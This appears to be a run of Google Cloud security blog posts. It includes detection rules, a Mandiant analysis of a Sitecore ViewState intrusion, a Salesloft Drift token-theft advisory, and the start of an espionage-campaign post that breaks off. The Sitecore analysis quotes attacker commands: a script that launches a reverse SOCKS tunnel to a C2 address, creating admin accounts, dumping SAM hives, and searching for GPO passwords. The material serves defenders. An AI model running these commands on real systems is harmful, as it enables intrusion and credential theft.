Application Development Services Communication" severity = "Medium" tactic = "TA0011" // Command and Control technique = "T1071.001" // Application Layer Protocol: Web Protocols reference = "https://cloud.google.com/blog/topics/threat-intelligence/brickstorm-espionage-campaign" description = "Detects on requests by an unknown source IP address to multiple DNS-over-HTTPS (DoH) resolver services and web application development services, such as Cloudflare Workers or Heroku hosted web applications. To investigate this activity further, determine the source of the network activity and verify if the communication is consistent with the device's intended use and standard allow-list domains." events: $c1.metadata.event_type = "NETWORK_CONNECTION" $c1.target.ip = /^(8\.8\.8\.8|8\.8\.4\.4|9\.9\.9\.9|9\.9\.9\.11|1\.1\.1\.1|1\.0\.0\.1|45\.90\.28\.160|45\.90\.30\.160|149\.112\.112\.112|149\.112\.112\.11)$/ nocase $c1.principal.hostname = "" $c1.principal.asset_id = "" ( $c1.target.port = 443 or $c1.target.url = /dns-query|:443\/$|\d\.\d\.\d\.\d\/$/ nocase ) $c2.metadata.event_type = "NETWORK_CONNECTION" $c2.target.hostname = /\.workers\.dev$|\.herokuapp\.com$/ nocase $c2.principal.hostname = "" $c2.principal.asset_id = "" $c2.target.port = 443 $source_entity = $c1.principal.ip $source_entity = $c2.principal.ip match: $source_entity over 24h outcome: $risk_score = max(65) $unique_doh_ips_count = count_distinct($c1.target.ip) condition: $c1 and $c2 and $unique_doh_ips_count >= 3 options: allow_zero_values = true } Unknown Endpoint Generating Google DNS-over-HTTPS and Cloudflare Hosted IP Communication rule hunting_t1071_001_unknown_endpoint_generating_google_doh_and_cloudflare_communication { meta: rule_name = "Unknown Endpoint Generating Google DNS-over-HTTPS and Cloudflare Hosted IP Communication" severity = "Medium" tactic = "TA0011" // Command and Control technique = "T1071.001" // Application Layer Protocol: Web Protocols reference = "https://cloud.google.com/blog/topics/threat-intelligence/brickstorm-espionage-campaign" description = "Detects on requests by an unknown source IP address to Google DNS-over-HTTPS (DoH) resolver service and a Cloudflare hosted IP address. To investigate this activity further, determine the source of the network activity and verify if the communication is consistent with the device's intended use and standard allow-list domains." events: $c1.metadata.event_type = "NETWORK_CONNECTION" $c1.target.ip = /^(8\.8\.8\.8|8\.8\.4\.4)$/ nocase $c1.principal.hostname = "" $c1.principal.asset_id = "" ( $c1.target.port = 443 or $c1.target.url = /dns-query|:443\/$|\d\.\d\.\d\.\d\/$/ nocase ) $c2.metadata.event_type = "NETWORK_CONNECTION" $c2.principal.hostname = "" $c2.principal.asset_id = "" $c2.target.ip_geo_artifact.network.carrier_name = /cloudflare/ nocase $c2.target.port = 443 $source_entity = $c1.principal.ip $source_entity = $c2.principal.ip match: $source_entity over 1h outcome: $risk_score = max(65) $time_diff = math.abs(min($c1.metadata.event_timestamp.seconds) - min($c2.metadata.event_timestamp.seconds)) condition: $c1 and $c2 and $time_diff <= 2 options: allow_zero_values = true } Unknown Endpoint Generating Google DNS-over-HTTPS and Amazon Hosted IP Communication rule hunting_t1071_001_unknown_endpoint_generating_google_doh_and_amazon_communication { meta: rule_name = "Unknown Endpoint Generating Google DNS-over-HTTPS and Amazon Hosted IP Communication" severity = "Medium" tactic = "TA0011" // Command and Control technique = "T1071.001" // Application Layer Protocol: Web Protocols reference = "https://cloud.google.com/blog/topics/threat-intelligence/brickstorm-espionage-campaign" description = "Detects on requests by an unknown source IP address to Google DNS-over-HTTPS (DoH) resolver service and an Amazon hosted IP address. To investigate this activity further, determine the source of the network activity and verify if the communication is consistent with the device's intended use and standard allow-list domains." events: $c1.metadata.event_type = "NETWORK_CONNECTION" $c1.target.ip = /^(8\.8\.8\.8|8\.8\.4\.4)$/ nocase $c1.principal.hostname = "" $c1.principal.asset_id = "" ( $c1.target.port = 443 or $c1.target.url = /dns-query|:443\/$|\d\.\d\.\d\.\d\/$/ nocase ) $c2.metadata.event_type = "NETWORK_CONNECTION" $c2.principal.hostname = "" $c2.principal.asset_id = "" $c2.target.ip_geo_artifact.network.carrier_name = /amazon/ nocase $c2.target.port = 443 $source_entity = $c1.principal.ip $source_entity = $c2.principal.ip match: $source_entity over 24h outcome: $risk_score = max(65) $time_diff = math.abs(min($c1.metadata.event_timestamp.seconds) - min($c2.metadata.event_timestamp.seconds)) condition: // As observed by Mandiant IR, the two connection events to DoH and Amazon occurred nearly simultaneously $c1 and $c2 and $time_diff <= 2 options: allow_zero_values = true }

At Google Cloud, our services are built with interoperability and openness in mind to enable customer choice and multicloud strategies. We pioneered a multicloud data warehouse, enabling workloads to run across clouds. We were the first company to provide digital sovereignty solutions for European governments and to waive exit fees for customers who stop using Google Cloud.

We continue this open approach with the launch today of our new Data Transfer Essentials service for customers in the European Union and the United Kingdom. Built in response to the principles of cloud interoperability and choice outlined in the EU Data Act, Data Transfer Essentials is a new, simple solution for data transfers between Google Cloud and other cloud service providers. Although the Act allows cloud providers to pass through costs to customers, Data Transfer Essentials is available today at no cost to customers. 

Designed for “in-parallel” processing of workloads belonging to the same organization that are distributed across two or more cloud providers, Data Transfer Essentials enables you to build flexible, multicloud strategies and use the best-of-breed solutions across different cloud providers. This can foster greater digital operational resilience – without incurring outbound data transfer costs from Google Cloud.

To get started, please read our configuration guide to learn how to opt in and specify your multicloud traffic. Qualifying multicloud traffic will be metered separately, and will appear on your bill at a zero charge, while all other traffic will continue to be billed at existing Network Service Tier rates.

The original promise of the cloud is one that is open, elastic, and free from artificial lock-ins. Google Cloud continues to embrace this openness and the ability for customers to choose the cloud service provider that works best for their workload needs. Read more about Data Transfer Essentials here.

Written by: Rommel Joven, Josh Fleischer, Joseph Sciuto, Andi Slok, Choon Kiat Ng

Update (September 3): This post was updated to include information about GoTokenTheft usage.

In a recent investigation, Mandiant Threat Defense discovered an active ViewState deserialization attack affecting Sitecore deployments leveraging a sample machine key that had been exposed in Sitecore deployment guides from 2017 and earlier. An attacker leveraged the exposed ASP.NET machine key to perform remote code execution.

Mandiant worked directly with Sitecore to address this issue. Sitecore tracks this vulnerable configuration as CVE-2025-53690, which affects customers who deployed any version of multiple Sitecore products using the sample key exposed in publicly available deployment guides (specifically Sitecore XP 9.0 and Active Directory 1.4 and earlier versions). Sitecore has confirmed that its updated deployments automatically generate a unique machine key and that affected customers have been notified.

Refer to Sitecore’s advisory for more information on which products are potentially impacted. 

Summary

Mandiant successfully disrupted the attack shortly after initiating rapid response, which ultimately prevented us from observing the full attack lifecycle. However, our investigation still provided insights into the adversary's activity. The attacker's deep understanding of the compromised product and the exploited vulnerability was evident in their progression from initial server compromise to privilege escalation. Key events in this attack chain included: 

• Initial compromise was achieved by exploiting the ViewState Deserialization vulnerability CVE-2025-53690 on the affected internet-facing Sitecore instance, resulting in remote code execution.

• A decrypted ViewState payload contained WEEPSTEEL, a malware designed for internal reconnaissance.

• Leveraging this access, the threat actor archived the root directory of the web application, indicating an intent to obtain sensitive files such as web.config. This was followed by host and network reconnaissance.

• The threat actor staged tooling in a public directory which included an:

• Open-source network tunnel tool, EARTHWORM 

• Open-source remote access tool, DWAGENT

• Open-source Active Directory (AD) reconnaissance tool, SHARPHOUND 

• Local administrator accounts were created and used to dump SAM/SYSTEM hives in an attempt to compromise cached administrator credentials. The compromised credentials then enabled lateral movement via RDP.

• DWAgent provided persistent remote access and was used for Active Directory reconnaissance.

Figure 1: Attack lifecycle

Initial Compromise External Reconnaissance

The threat actor began their operation by probing the victim's web server with HTTP requests to various endpoints before ultimately shifting their attention to the /sitecore/blocked.aspx page. This page is a legitimate Sitecore component that simply returns a message if a request was blocked due to licensing issues. The page’s use of a hidden ViewState form (a standard ASP.NET feature), combined with being accessible without authentication, made it a potential target for ViewState deserialization attacks.

ViewState Deserialization Attack

ViewStates are an ASP.NET feature designed to persist the state of webpages by storing it in a hidden HTML field named __VIEWSTATE. ViewState deserialization attacks exploit the server's willingness to deserialize ViewState messages when validation mechanisms are either absent or circumvented. When machine keys (which protect ViewState integrity and confidentiality) are compromised, the application effectively loses its ability to differentiate between legitimate and malicious ViewState payloads sent to the server.

Local web server (IIS) logs recorded that the threat actor's attack began by sending an HTTP POST request to the blocked.aspx endpoint, which was met with an HTTP 302 "Found" response. This web request coincided with a "ViewState verification failed" message in Windows application event logs (Event ID 1316) containing the crafted ViewState payload sent by the threat actor:

Log: Application Source: ASP.NET 4.0.30319.0 EID: 1316 Type: Information Event code: 4009-++-Viewstate verification failed. Reason: Viewstate was invalid. <truncated> ViewStateException information: Exception message: Invalid viewstate. Client IP: <redacted> User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) chromeframe/10.0.648.205 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 PersistedState: <27760 byte encrypted + base64 encoded payload> Referer: Path: /sitecore/blocked.aspx

This demonstrates the threat actor’s knowledge of the server’s machine key, allowing them to craft malicious viewstate requests using tools like the public ysoserial.net project. 

Initial Host Reconnaissance

Mandiant recovered a copy of the server's machine key, which was stored in the ASP.NET configuration file web.config. Mandiant decrypted the threat actor’s ViewState payload using this key and found it contained an embedded .NET assembly named Information.dll. This assembly, which Mandiant tracks as WEEPSTEEL, functions as an internal reconnaissance tool and has similarities to the GhostContainer backdoor and an information-gathering payload previously observed in the wild.

About WEEPSTEEL

WEEPSTEEL is a reconnaissance tool designed to gather system, network, and user information. This data is then encrypted and exfiltrated to the attacker by disguising it as a benign __VIEWSTATE response.

The payload is designed to exfiltrate the following system information for reconnaissance:

// Code Snippet from Host Reconnaissance Function Information.BasicsInfo basicsInfo = new Information.BasicsInfo { Directories = new Information.Directories { CurrentWebDirectory = HostingEnvironment.MapPath("~/") }, // Gather system information OperatingSystemInformation = Information.GetOperatingSystemInformation(), DiskInformation = Information.GetDiskInformation(), NetworkAdapterInformation = Information.GetNetworkAdapterInformation(), Process = Information.GetProcessInformation() }; // Serialize the 'basicsInfo' object into a JSON string JavaScriptSerializer javaScriptSerializer = new JavaScriptSerializer(); text = javaScriptSerializer.Serialize(basicsInfo);

Code snippet illustrating WEEPSTELL malware collection functionality

WEEPSTEEL appears to borrow some functionality from ExchangeCmdPy.py, a public tool tailored for similar ViewState-related intrusions. This comparison was originally noted in Kaspersky’s write-up on the GhostContainer backdoor. Like ExchangeCmdPy, WEEPSTEEL sends its output through a hidden HTML field masquerading as a legitimate __VIEWSTATE parameter, shown as follows:

<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTcyODc4{AES encrypted + base64 encoded output}" />

Subsequent HTTP POST requests to the blocked.aspx endpoint from the threat actor would result in HTTP 200 "OK" responses, which Mandiant assesses would have contained an output in the aforementioned format. As the threat actor continued their hands-on interaction with the server, Mandiant observed repeated HTTP POST requests with successful responses to the blocked.aspx endpoint.

Establish Foothold

Following successful exploitation, the threat actor gained the NETWORK SERVICE privilege, equivalent to the IIS worker process w3wp.exe. This access provided the actor a starting point for further malicious activities.

Config Extraction

The threat actor then exfiltrated critical configuration files by archiving the contents of \inetpub\sitecore\SitecoreCD\Website, a Sitecore Content Delivery (CD) instance's web root. This directory contained sensitive files, such as the web.config file, that provide sensitive information about the application's backend and its dependencies, which would help enable post-exploitation activities.

Host Reconnaissance

After obtaining the key server configuration files, the threat actor proceeded to fingerprint the compromised server through host and network reconnaissance, including but not limited to enumerating running processes, services, user accounts, TCP/IP configurations, and active network connections.

whoami hostname net user tasklist ipconfig /all tasklist /svc netstat -ano nslookup <domain> net group domain admins net localgroup administrators Staging Directory 

The threat actor leveraged public directories such as Music and Video for staging and deploying their tooling. Files written into the Public directory include:

• File: C:\Users\Public\Music\7za.exe

• Description: command-line executable for the 7-Zip file archiver

• SHA-256: 223b873c50380fe9a39f1a22b6abf8d46db506e1c08d08312902f6f3cd1f7ac3

 

• File: C:\Users\Public\Music\lfe.ico

• Description: An open-source network tunnel tool with SOCKS v5 server, tracked as EARTHWORM

• SHA-256: b3f83721f24f7ee5eb19f24747b7668ff96da7dfd9be947e6e24a688ecc0a52b

About EARTHWORM

EARTHWORM is an open-source tunneler that allows attackers to create a covert channel to and from a victim system over a separate protocol to avoid detection and network filtering, or to enable access to otherwise unreachable systems.

During our investigation, EARTHWORM was executed to initiate a reverse SOCKS proxy connection back to the following command-and-control (C2) server: 

• 130.33.156[.]194:443

• 103.235.46[.]102:80.

• File: C:\Users\Public\Music\1.vbs

• Description: Attack VBScript: Used to execute threat actor commands, its content varies based on the desired actions.

• SHA-256: <hash varies>

In one instance where the file 1.vbs was retrieved, it contained a simple VBS code to launch the EARTHWORM.

 

Set shell = CreateObject("WScript.Shell") shell.CurrentDirectory = "C:\Users\Public\Music" shell.Run "ufp.exe -s rssocks -d 130.33.156[.]194 -e 443", 1, False Escalate Privileges

Following initial compromise, the threat actor elevated their access from NETWORK SERVICE privileges to the SYSTEM or ADMINISTRATOR level.

This involved creating local administrator accounts and obtaining access to domain administrator accounts. The threat actor was observed using additional tools to escalate privileges.

Adding Local Administrators

• asp$: The threat actor leveraged a privilege escalation tool to create the local administrator account, asp$. The naming convention mimicking an ASP.NET service account with a common suffix $ suggests an attempt to blend in and evade detection.

"C:\Users\Public\Music\helper.exe" "net user asp$ {REDACTED} /add" "C:\Users\Public\Music\helper.exe" "net localgroup administrators asp$ /add"

• sawadmin: At a later stage, the threat actor established a DWAGENT remote session to create a second local administrator account.

net user sawadmin {REDACTED} /add net localgroup administrators sawadmin /add Process Token Theft Attempt

The threat actor was observed executing a binary named GoToken.exe under the context of sawadmin with the following command-line arguments:

GoToken.exe -h GoToken.exe -l GoToken.exe -ah GoToken.exe -t

While Mandiant was unable to recover the GoToken.exe binary from the server, the filename and arguments strongly suggest it is the public Go-based token-stealing tool GoTokenTheft. This tool is designed to execute commands using the security context of other users on a system.

Based on the tool’s available source code, the attacker attempted the following actions:

• h: view the tool's help menu

• l: list all running processes and their associated user tokens to identify targets for impersonation

• ah: execute commands using the tokens of users, excluding system accounts

• t: list all unique user tokens active on the system

Credential Dumping

The threat actor established RDP access to the host using the two newly created accounts and proceeded to dump the SYSTEM and SAM registry hives from both accounts. While redundant, this gave the attacker the information necessary to extract password hashes of local user accounts on the system. The activities associated with each account are as follows:

• asp$

reg save HKLM\SYSTEM c:\users\public\system.hive reg save HKLM\SAM c:\users\public\sam.hive

• sawadmin

reg save HKLM\SYSTEM SYSTEM.hiv reg save HKLM\SAM SAM.hiv Maintain Presence

The threat actor maintained persistence through a combination of methods, leveraging both created and compromised administrator credentials for RDP access. Additionally, the threat actor issued commands to maintain long-term access to accounts. This included modifying settings to disable password expiration for administrative accounts of interest:

net user <AdminUser> /passwordchg:no /expires:never wmic useraccount where name='<AdminUser>' set PasswordExpires=False

 For redundancy and continued remote access, the DWAGENT tool was also installed.

Remote Desktop Protocol 

The actor used the Remote Desktop Protocol extensively. The traffic was routed through a reverse SOCKS proxy created by EARTHWORM to bypass security controls and obscure their activities. In one  RDP session, the threat actor under the context of the account asp$ downloaded additional attacker tooling, dwagent.exe and main.exe, into C:\Users\asp$\Downloads.

File Path

MD5

Description

C:\Users\asp$\Downloads\dwagent.exe

n/a

DWAgent installer

C:\Users\asp$\Downloads\main.exe

be7e2c6a9a4654b51a16f8b10a2be175

Downloaded from hxxp://130.33.156[.]194/main.exe

Table 1: Files written in the RDP session Remote Access Tool: DWAGENT

DWAGENT is a legitimate remote access tool that enables remote control over the host. DWAGENT operates as a service with SYSTEM privilege and starts automatically, ensuring elevated and persistence access. During the DWAGENT remote session, the attacker wrote the file GoToken.exe. The commands executed suggest that the tool was used to aid in extracting the registry hives.

File Path

MD5

Description

C:\Users\Public\Music\GoToken.exe

62483e732553c8ba051b792949f3c6d0

Binary executed prior to dumping of SAM/SYSTEM hives.

Table 2: File written in the DWAgent remote session

Internal Reconnaissance Active Directory Reconnaissance

During a DWAGENT remote session, the threat actor executed commands to identify Domain Controllers within the target network. The actor then accessed the SYSVOL share on these identified DCs to search for cpassword within Group Policy Object (GPO) XML files. This is a well-known technique attackers employ to discover privileged credentials mistakenly stored in a weakly encrypted format within the domain.

nltest /DCLIST:<domain> nslookup <domain-controller> findstr /S /l cpassword \\<domain-controller>\sysvol\dcext.local\policies\*.xml SHARPHOUND

The threat actor then transitioned to a new RDP session using a legitimate administrator account. From this session, SHARPHOUND , the data collection component for the Active Directory security analysis platform BLOODHOUND, was downloaded via a browser and saved to C:\Users\Public\Music\sh.exe. 

Following the download, the threat actor returned to the DWAGENT remote session and executed sh.exe, performing extensive Active Directory reconnaissance.

sh.exe -c all

Once the reconnaissance concluded, the threat actor switched back to the RDP session (still using the compromised administrator account) to archive the SharpHound output, preparing it for exfiltration.

C:\Program Files\7-Zip\7zFM.exe "C:\Users\Public\Music\<number>_BloodHound.zip" Accounts Cleanup

With administrator accounts compromised, the earlier created asp$ and sawadmin accounts were removed, signaling a shift to more stable and covert access methods. 

Move Laterally

The compromised administrator accounts were used to RDP to other hosts. On these systems, the threat actor executed commands to continue their reconnaissance and deploy EARTHWORM. 

On one host, the threat actor logged in via RDP using a compromised admin account. Under the context of this account, the threat actor then continued to perform internal reconnaissance commands such as:

quser whoami net user <AdminUser> /domain nltest /DCLIST:<domain> nslookup <domain-controller> Recommendations

Mandiant recommends following security best practices in ASP.NET, including implementing automated machine key rotation, enabling View State Message Authentication Code (MAC), and encrypting any plaintext secrets within the web.config file. For more details, refer to the following resources:

• ASP.NET Core security topics

• What not to do in ASP.NET, and what to do instead

• Improved ASP.NET view state security and key management

• Code injection attacks using publicly disclosed ASP.NET machine keys

For detailed Sitecore remediation instructions, refer to the official Sitecore advisory SC2025-005.

Indicators of compromise

The following indicators of compromise are available in a Google Threat Intelligence (GTI) collection for registered users.

Accounts

Accounts

Description

asp$

Created account

sawadmin

Created account

h496883

Workstation from the source of the RDP connection

File-Based

MD5

SHA-256

Description

117305c6c8222162d7246f842c4bb014

a566cceaf9a66332470a978a234a8a8e2bbdd4d6aa43c2c75c25a80b3b744307

WEEPSTEEL (Information.dll)

a39696e95a34a017be1435db7ff139d5

b3f83721f24f7ee5eb19f24747b7668ff96da7dfd9be947e6e24a688ecc0a52b

EARTHWORM (lfe.ico, ufp.exe, ufp.ico)

f410d88429b93786b224e489c960bf5c

n/a

Helper.ico, helper.exe

<hash varies> 

<hash varies> 

1.vbs

be7e2c6a9a4654b51a16f8b10a2be175

n/a

main.exe

62483e732553c8ba051b792949f3c6d0

n/a

GoToken.exe

63d22ae0568b760b5e3aabb915313e44

61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863

SharpHound 

Network-Based IP 130.33.156[.]194:443 130.33.156[.]194:8080 103.235.46[.]102:80 Detections

Google Security Operations Enterprise and Enterprise+ customers can leverage the following product threat detections and content updates to help identify and remediate threats. All detections have been automatically delivered to Google Security Operations tenants within the Mandiant Frontline Threats curated detections ruleset. To leverage these updated rules, access Content Hub and search on any of the strings above, then View and Manage each rule you wish to implement or modify.

• Earthworm Tunneling Indicators

• User Account Created By Web Server Process

• Cmd Launching Process From Users Music

• Sharphound Recon

• User Created With No Password Expiration Execution

• Discovery of Privileged Permission Groups by Web Server Process

YARA Rules rule G_Recon_WEEPSTEEL_1 { meta: author = "Mandiant" strings: $v_w = "<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=" wide $v_a = "<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=" $v_b64_w = "<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=" base64wide $v_b64_a = "<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=" base64 $s2 = "Services\\Tcpip\\Parameters" wide $s3 = "GetOperatingSystemInformation" $s4 = "GetSystemInformation" $s5 = "GetNetworkAdapterInformation" $s6 = "GetAllNetworkInterfaces" $s7 = "GetIPProperties" $s8 = "GetPhysicalAddress" $s9 = "GetDomainNameFromRegistry" $c1 = "Aes" fullword $c2 = "CreateEncryptor" fullword $c3 = "System.Security.Cryptography" fullword $c4 = "ToBase64String" fullword $guid = "6d5a95da-0ffe-4303-bb2c-39e182335a9f" condition: uint16(0) == 0x5a4d and ( (all of ($c*) and 7 of ($s*)) or ($guid and (any of ($v*))) ) } rule G_Tunneler_EARTHWORM_1 { meta: author = "Mandiant" strings: $s1 = "free1.2" $s2 = ".//xxx ([-options] [values])*" $s3 = "You can create a lcx_listen tunnel like this :" $s4 = ".//ew -s lcx_listen --listenPort 1080 --refPort 8888" $s8 = "I_AM_NEW_RC_CMD_SOCK_CLIENT" $s9 = "CONFIRM_YOU_ARE_SOCK_TUNNEL" $s11 = "lcx_listen" fullword $s12 = "call back cmd_socks ok" $s13 = "lcx_tran" fullword $s14 = "lcx_slave" fullword $s15 = "rssocks" fullword $s16 = "ssocksd" fullword $s17 = "rcsocksd" fullword $marker1= "earthworm" nocase ascii wide $marker2 = "rootkiter" nocase ascii wide condition: ((uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550) or uint32(0) == 0x464c457f or (uint32(0) == 0xBEBAFECA or uint32(0) == 0xFEEDFACE or uint32(0) == 0xFEEDFACF or uint32(0) == 0xCEFAEDFE)) and (4 of ($s*) or all of ($marker*)) } Acknowledgement

We would like to extend our gratitude to the Sitecore team for their support throughout this investigation. Additionally, we are grateful to Tom Bennett and Nino Isakovic for their assistance with the payload analysis. We also appreciate the valuable input and technical review provided by Richmond Liclican and Tatsuhiko Ito.

aside_block

<ListValue: [StructValue([('title', 'Contact Mandiant'), ('body', <wagtail.rich_text.RichText object at 0x7fd1de953760>), ('btn_text', ''), ('href', ''), ('image', None)])]>

Written by: Austin Larsen, Matt Lin, Tyler McLellan, Omar ElAhdan

Update (August 28)

Based on new information identified by GTIG, the scope of this compromise is not exclusive to the Salesforce integration with Salesloft Drift and impacts other integrations. We now advise all Salesloft Drift customers to treat any and all authentication tokens stored in or connected to the Drift platform as potentially compromised.

On August 28, 2025, our investigation confirmed that the actor also compromised OAuth tokens for the "Drift Email" integration. On August 9, 2025, a threat actor used these tokens to access email from a very small number of Google Workspace accounts. The only accounts that were potentially accessed were those that had been specifically configured to integrate with Salesloft Drift; the actor would not have been able to access any other accounts on a customer's Workspace domain.

In response to these findings and to protect our customers, Google identified the impacted users, revoked the specific OAuth tokens granted to the Drift Email application, and disabled the integration functionality between Google Workspace and Salesloft Drift pending further investigation. We are notifying all impacted Google Workspace administrators.

To be clear, there has been no compromise of Google Workspace or Alphabet itself. Google has not been a Salesloft Drift customer, and therefore is not impacted. Any inquiries regarding potential breach impact should be directed to Salesloft or its customers.

We recommend organizations take immediate action to review all third-party integrations connected to their Drift instance, revoke and rotate credentials for those applications, and investigate all connected systems for signs of unauthorized access. 

Salesloft has now engaged Mandiant to assist in their investigation. See Salesloft’s updated advisory for more details.

Introduction 

Google Threat Intelligence Group (GTIG) is issuing an advisory to alert organizations about a widespread data theft campaign, carried out by the actor tracked as UNC6395. Beginning as early as Aug. 8, 2025 through at least Aug. 18, 2025, the actor targeted Salesforce customer instances through compromised OAuth tokens associated with the Salesloft Drift third-party application.

The actor systematically exported large volumes of data from numerous corporate Salesforce instances. GTIG assesses the primary intent of the threat actor is to harvest credentials. After the data was exfiltrated, the actor searched through the data to look for secrets that could be potentially used to compromise victim environments. GTIG observed UNC6395 targeting sensitive credentials such as Amazon Web Services (AWS) access keys (AKIA), passwords, and Snowflake-related access tokens. UNC6395 demonstrated operational security awareness by deleting query jobs, however logs were not impacted and organizations should still review relevant logs for evidence of data exposure.

Based on data available at the time, Salesloft indicated that customers that do not integrate with Salesforce are not impacted by this campaign.

On Aug. 20, 2025 Salesloft, in collaboration with Salesforce, revoked all active access and refresh tokens with the Drift application. In addition, Salesforce removed the Drift application from the Salesforce AppExchange until further notice pending further investigation. This issue does not stem from a vulnerability within the core Salesforce platform.

GTIG, Salesforce, and Salesloft have notified impacted organizations.

Threat Detail 

The threat actor executed queries to retrieve information associated with Salesforce objects such as Cases, Accounts, Users, and Opportunities. For example, the threat actor ran the following sequence of queries to get a unique count from each of the associated Salesforce objects.

SELECT COUNT() FROM Account; SELECT COUNT() FROM Opportunity; SELECT COUNT() FROM User; SELECT COUNT() FROM Case; Query to Retrieve User Data SELECT Id, Username, Email, FirstName, LastName, Name, Title, CompanyName, Department, Division, Phone, MobilePhone, IsActive, LastLoginDate, CreatedDate, LastModifiedDate, TimeZoneSidKey, LocaleSidKey, LanguageLocaleKey, EmailEncodingKey FROM User WHERE IsActive = true ORDER BY LastLoginDate DESC NULLS LAST LIMIT 20 Query to Retrieve Case Data SELECT Id, IsDeleted, MasterRecordId, CaseNumber <snip> FROM Case LIMIT 10000 Recommendations

Given GTIG's observations of data exfiltration associated with the campaign, organizations using Salesloft Drift to integrate with third-party platforms (including but not limited to Salesforce) should consider their data compromised and are urged to take immediate remediation steps.

Impacted organizations should search for sensitive information and secrets contained within the integrated platforms and take appropriate action, such as revoking API keys, rotating credentials, and performing further investigation to determine if the secrets were abused by the threat actor.

Investigate for Compromise and Scan for Exposed Secrets

• Review all third-party integrations associated with an organization's Drift instance (accessible within the Drift Admin settings page).

• Within each integrated third-party application, search for the IP addresses and User-Agent strings provided in the IOCs section below. While this list includes IPs from the Tor network that have been observed to date, Mandiant recommends a broader search for any activity originating from Tor exit nodes.

• Review Salesforce Event Monitoring logs for unusual activity associated with the Drift connection user.

• Review authentication activity from the Drift Connected App.

• Review UniqueQuery events that log executed SOQL queries.

• Open a Salesforce support case to obtain specific queries used by the threat actor.

• Search Salesforce objects for potential secrets, such as:

• AKIA for long-term AWS access key identifiers

• Snowflake or snowflakecomputing.com for Snowflake credentials

• password, secret,key to find potential references to credential material

• Strings related to organization-specific login URLs, such as VPN or SSO login pages

• Run tools like Trufflehog to find secrets and hardcoded credentials.

Revoke and Rotate Credentials

• Within each integrated third-party application, revoke and rotate API keys, credentials. and authentication tokens associated with third-party application integrations with a Drift instance.

• Immediately revoke and rotate any discovered keys or secrets.

• Reset passwords for associated user accounts.

• For Salesforce integrations, configure session timeout values in Session Settings to limit the lifespan of a compromised session.

Harden Access Controls

• Review and Restrict Connected App Scopes: Ensure that applications have the minimum necessary permissions and avoid overly permissive scopes like full access.

• Enforce IP Restrictions on the Connected App: In the app's settings, set the "IP Relaxation" policy to "Enforce IP restrictions."

• Define Login IP Ranges: On user profiles, define IP ranges to only allow access from trusted networks.

• Remove the "API Enabled" Permission: Remove the "API Enabled" permission from profiles and grant it only to authorized users via a Permission Set.

Additional instructions and updates are available on the Salesloft Trust Center and Salesforce advisory. 

Acknowledgments 

We would like to thank Salesforce, Salesloft, and other trusted partners for their collaboration and assistance in responding to this threat.

IOCs 

The following indicators of compromise are available in a Google Threat Intelligence (GTI) collection for registered users.

Indicator Value

Description

Salesforce-Multi-Org-Fetcher/1.0

Malicious User-Agent string

Salesforce-CLI/1.0

Malicious User-Agent string

python-requests/2.32.4

User-Agent string

Python/3.11 aiohttp/3.12.15

User-Agent string

208.68.36.90

DigitalOcean

44.215.108.109

Amazon Web Services

154.41.95.2

Tor exit node

176.65.149.100

Tor exit node

179.43.159.198

Tor exit node

185.130.47.58

Tor exit node

185.207.107.130

Tor exit node

185.220.101.133

Tor exit node

185.220.101.143

Tor exit node

185.220.101.164

Tor exit node

185.220.101.167

Tor exit node

185.220.101.169

Tor exit node

185.220.101.180

Tor exit node

185.220.101.185

Tor exit node

185.220.101.33

Tor exit node

192.42.116.179

Tor exit node

192.42.116.20

Tor exit node

194.15.36.117

Tor exit node

195.47.238.178

Tor exit node

195.47.238.83

Tor exit node

Written by: Patrick Whitsell

In March 2025, Google Threat Intelligence Group (GTIG) identified a complex, multifaceted campaign attributed to the PRC-nexus threat actor UNC6384. The campaign targeted diplomats in Southeast Asia and other entities globally. GTIG assesses this was likely in support of cyber espionage operations aligned with the strategic interests of the People's Republic of China (PRC). 

The campaign hijacks target web traffic, using a captive portal redirect, to deliver a digitally signed downloader that GTIG tracks as STATICPLUGIN. This ultimately led to the in-memory deployment of the backdoor SOGU.SEC (also known as PlugX). This multi-stage attack chain leverages advanced social engineering including valid code signing certificates, an adversary-in-the-middle (AitM) attack, and indirect execution techniques to evade detection.

Google is actively protecting our users and customers from this threat. We sent government-backed attacker alerts to all Gmail and Workspace users impacted by this campaign. We encourage users to enable Enhanced Safe Browsing for Chrome, ensure all devices are fully updated, and enable 2-Step Verification on accounts. Additionally, all identified domains, URLs, and file hashes have been added to the Google Safe Browsing list of unsafe web resources. Google Security Operations (SecOps) has also been updated with relevant intelligence, enabling defenders to hunt for this activity in their environments.

aside_block

<ListValue: [StructValue([('title', 'Webinar: Defending Against Sophisticated and Evolving PRC-Nexus Espionage Campaigns'), ('body', <wagtail.rich_text.RichText object at 0x7fd1de953820>), ('btn_text', 'Register now'), ('href', 'https://www.brighttalk.com/webcast/7451/651182?utm_source=blog'), ('image', None)])]>

Overview

This blog post presents our findings and analysis of this espionage campaign, as well as the evolution of the threat actor’s operational capabilities. We examine how the malware is delivered, how the threat actor utilized social engineering and evasion techniques, and technical aspects of the multi-stage malware payloads. 

In this campaign, the malware payloads were disguised as either software or plugin updates and delivered through UNC6384 infrastructure using AitM and social engineering tactics. A high level overview of the attack chain: 

1. The target’s web browser tests if the internet connection is behind a captive portal;

2. An AitM redirects the browser to a threat actor controlled website;

3. The first stage malware, STATICPLUGIN, is downloaded;

4. STATICPLUGIN then retrieves an MSI package from the same website;

5. Finally, CANONSTAGER is DLL side-loaded and deploys the SOGU.SEC backdoor.

Figure 1: Attack chain diagram

Malware Delivery: Captive Portal Hijack

